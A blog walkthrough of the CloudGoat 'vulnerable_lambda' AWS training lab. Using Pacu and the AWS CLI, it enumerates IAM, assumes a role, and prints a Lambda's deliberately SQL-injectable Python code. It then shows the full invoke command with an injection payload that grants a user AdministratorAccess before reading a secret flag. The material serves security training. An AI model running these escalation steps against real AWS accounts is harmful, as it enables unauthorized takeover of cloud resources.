Exploiting Lambda Vulnerabilities for Privilege Escalation in AWS

GoodycybGoodycyb
6 min read

Introduction

In this lab, you start as the 'bilbo' user. You will assume a role with more privileges, discover a lambda function that applies policies to users, and exploit a vulnerability in the function to escalate the privileges of the Bilbo user to search for secrets.


This lab walkthrough references the course Pentesting AWS with Pacu, CloudGoat, and ChatGPT by Cybr Training(Christophe Limpalair).

Check Here for step by step Guide to installing CloudGoat


Image Source:Cybr

Image Source:Cybr

Lab Walkthrogh

  • Create an IAM User with programmatic access keys

  • Configure an AWS CLI profile called cloudgoat

  • Navigate to Cloudgoat folder and run the command. Type “y” and enter the profile name

      ./cloudgoat.py config profile
    

    Execute the Cloudgoat lab by running the command below

    Make sure you are in cloudgoat directory/Folder. NB: Terraform is used in deploying this lab. You have to wait for some minutes for the lab to be created.

      ./cloudgoat.py create vulnerable_lambda
    

  • You will observe that a new IAM user with access key is created located in this path /home/goody/cloudgoat/vulnerable_lambda_cgidqg4nba36xd/start.txt or you can copy the access key in a sticky note.

      cloudgoat_output_aws_account_id = 116*****9986
      cloudgoat_output_bilbo_access_key_id = AKIARWKY24WJMD2DCOW4
      cloudgoat_output_bilbo_secret_key = pj0uL*******************t8/Dd1piuo
      profile = cloudgoat
      scenario_cg_id = vulnerable_lambda_cgidqg4nba36xd
    

Exploiting vulnerable Lambda function for admin access /w Pacu

Check Here for installation Guide

  • Run the command below to activate the virtual environment for pacu.

      $python3 -m venv venv && source venv/bin/activate
      # After that type pacu and press enter
      $pacu
    

  • Type in (0) to create a new session and give it a session name (here, “vulnerable_lambda”) and press Enter key.

  • Next, set Keys Set by typing the command set_keys and give the Key alias any name of your choice (in this blog, bilbo) and use the CloudGoat-generated Access key credentials in the previous steps.

  • Execute the command whoami to view details of the IAM user (bilbo) access key.

  • Execute the command to run iam__enum_permissions gather some information about Bilbo’s permissions.

    Note the IAM UserName cg-bilbo-vulnerable_lambda_cgidqg4nba36xd for Future use.

  • Execute the command whoami again to view bilbo’s permissions

    You will observe that ONLY IAM policy permissions are found.

  • Next, execute the pacu iam__enum_users_roles_policies_groups command to gather details about users, roles, policies, and groups for potential privilege escalation permissions.

    The output of the executed command reveals number of Users, Roles, Policies and Groups Found but doesn’t show the full details.

  • Execute the command data iam roles to reveal more details about the roles found

    Scan through the output of the command for Assume-Role-Policy-Document related to the IAM User “bilbo”. This Role grants Assume-Role access to bilbo IAM User.

    Note the ARN details for the RoleName (cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd) to be used for future purpose.

      "Arn": "arn:aws:iam::116*****9986:role/cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd",
    
    • Or You can use the command below to extract the specific details of the role name from the IAM Role Data.

        aws iam list-roles --query 'Roles[?contains(RoleName, `cg-lambda-invoker`)]' --output json
      

      OUTPUT in Text

        Pacu (vulnerable_lambda:bilbo) > aws iam list-roles --query 'Roles[?contains(RoleName, `cg-lambda-invoker`)]' --output json
        [
            {
                "Path": "/",
                "RoleName": "cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd",
                "RoleId": "AROARWKY24WJMDEYT2CIE",
                "Arn": "arn:aws:iam::116******986:role/cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd",
                "CreateDate": "2024-05-06T22:04:56Z",
                "AssumeRolePolicyDocument": {
                    "Version": "2012-10-17",
                    "Statement": [
                        {
                            "Sid": "",
                            "Effect": "Allow",
                            "Principal": {
                                "AWS": "arn:aws:iam::116*****986:user/cg-bilbo-vulnerable_lambda_cgidqg4nba36xd"
                            },
                            "Action": "sts:AssumeRole"
                        }
                    ]
                },
                "MaxSessionDuration": 3600
            }
        ]
      
  • Run the command ls to list pacu modules. Execute the pacu module organizations__assume_role command under lateral movement to assume role.

      #Code Sample format
      run organization__assume_role --accounts <**Account-number**> --roles <**RoleName:** cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd>
    
      # Real Code to be executed
      run organizations__assume_role --accounts 116******986 --roles cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd
    

    Now we know that the role cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd can be assumed.

  • Now execute the command below to assume the role

      assume_role arn:aws:iam::116******986:role/cg-lambda-invoker-vulnerable_lambda_cgidqg4nba36xd
    

  • Next, Let’s exploit the vulnerable lambda by executing the command run lambda__enum --regions us-east-1

  • Denote the command data lambda to view more details.

    • The code location URL can be pasted on a web browser to download the vulnerable lambda files. Open the File main.py on VScode to view the source code.

      Note the FuntionName for future purpose.

    • Review the Source code (check the line highlighted **statement . . .)

        import boto3 
        from sqlite_utils import Database 
      
        db = Database("my_database.db") 
        iam_client = boto3.client('iam') 
      
         /**
         db["policies"].insert_all([ 
             {"policy_name": "AmazonSNSReadOnlyAccess", "public": 'True'},  
             {"policy_name": "AmazonRDSReadOnlyAccess", "public": 'True'}, 
             {"policy_name": "AWSLambda_ReadOnlyAccess", "public": 'True'}, 
             {"policy_name": "AmazonS3ReadOnlyAccess", "public": 'True'}, 
             {"policy_name": "AmazonGlacierReadOnlyAccess", "public": 'True'}, 
             {"policy_name": "AmazonRoute53DomainsReadOnlyAccess", "public": 'True'}, 
             {"policy_name": "AdministratorAccess", "public": 'False'} 
        ]) 
        **/
      
      
        def handler(event, context): 
            target_policys = event['policy_names'] 
            user_name = event['user_name'] 
            print(f"target policys are : {target_policys}") 
      
            for policy in target_policys: 
                statement_returns_valid_policy = False 
                statement = f"select policy_name from policies where policy_name='{policy}' and public='True'" 
                for row in db.query(statement): 
                    statement_returns_valid_policy = True 
                    print(f"applying {row['policy_name']} to {user_name}") 
                    response = iam_client.attach_user_policy( 
                        UserName=user_name, 
                        PolicyArn=f"arn:aws:iam::aws:policy/{row['policy_name']}" 
                    ) 
                    print("result: " + str(response['ResponseMetadata']['HTTPStatusCode'])) 
      
                if not statement_returns_valid_policy: 
                    invalid_policy_statement = f"{policy} is not an approved policy, please only choose from approved " \ 
                                               f"policies and don't cheat. :) " 
                    print(invalid_policy_statement) 
                    return invalid_policy_statement 
      
            return "All managed policies were applied as expected."
      
      
        if __name__ == "__main__": 
            payload = { 
                "policy_names": [ 
                    "AmazonSNSReadOnlyAccess", 
                    "AWSLambda_ReadOnlyAccess" 
                ], 
                "user_name": "cg-bilbo-user" 
            } 
            print(handler(payload, 'uselessinfo'))
      

      The source code reveals an unfiltered SQL statement vulnerability that can be exploited.

        statement = f"select policy_name from policies where policy_name='{policy}' and public='True'"
      

Exploiting the SQL Injection code

  • We want to have AdministratorAccess, Check the *cheat_sheet for hint to “Invoke the role applier lambda function and pass the name of the bilbo IAM user and the injection payload”
    select policy_name from policies where policy_name='AdministratorAccess' --' and public='True'

  • Execute the Command to exploit the lambda function
    Recall the details Noted in Previous steps
    => "FunctionName": "vulnerable_lambda_cgidqg4nba36xd-policy_applier_lambda1"
    => "IAM UserName": "cg-bilbo-vulnerable_lambda_cgidqg4nba36xd"
    ------------------------------------------------------------------------------
    #Sample code
    aws lambda invoke --function-name <Function-name> --payload <payload, "user_name":> \response.json --region us-east-1 
    #Real - execution
    aws --region us-east-1 lambda invoke --function-name vulnerable_lambda_cgidqg4nba36xd-policy_applier_lambda1 --payload '{"policy_names": ["AdministratorAccess'"'"' --"],"user_name": "cg-bilbo-vulnerable_lambda_cgidqg4nba36xd"}' out.txt

The Status 200 shows that the SQL injection was successful.

  • Execute the swap_keys command to Swap back to bilbo. In the Prompt, select Number [1] for bilbo session.

  • Run the command run iam__enum_permissions to update the permissions.

  • Execute the command to reveal permissions of post-exploitation

      # Code Sample
      aws iam list-attached-user-policies --user-name <UserName>
      #Real-Code
      aws iam list-attached-user-policies --user-name cg-bilbo-vulnerable_lambda_cgidqg4nba36xd
    

    Now, Bilbo IAM user now has AdministratorAccess Permission

Securing the Flag

  • Execute the command below to list the secrets from AWS secrets-manager and extract the final flag.

      $aws secretsmanager list-secrets --region us-east-1
    

  • Execute the pacu Module command below to Capture the Flag in AWS Secrets Manager

      aws secretsmanager get-secret-value --secret-id vulnerable_lambda_cgidqg4nba36xd-final_flag --region us-east-1
    


    The Flag SecretString": "cg-secret-846237-284529"


    Lesson

    You have learned to assume a role with increased privileges, identify a Lambda function that manages user policies, and exploit SQLi vulnerability within this function to escalate the privileges of the user "bilbo."

    Cleaning up

  • Navigate to the pacu directory and execute the command to destroy the Cloudgoat lab

./cloudgoat.py destroy  vulnerable_lambda

Resources

0
Subscribe to my newsletter

Read articles from Goodycyb directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Goodycyb
Goodycyb

Hey there! 👋🏾 I'm Goody, a Cloud Threat Researcher by Day 🌞 and a Cloud Security Content Engineer by Night🌜. Join me on my journey as I explore the realm of Threat Detection in Cloud Security.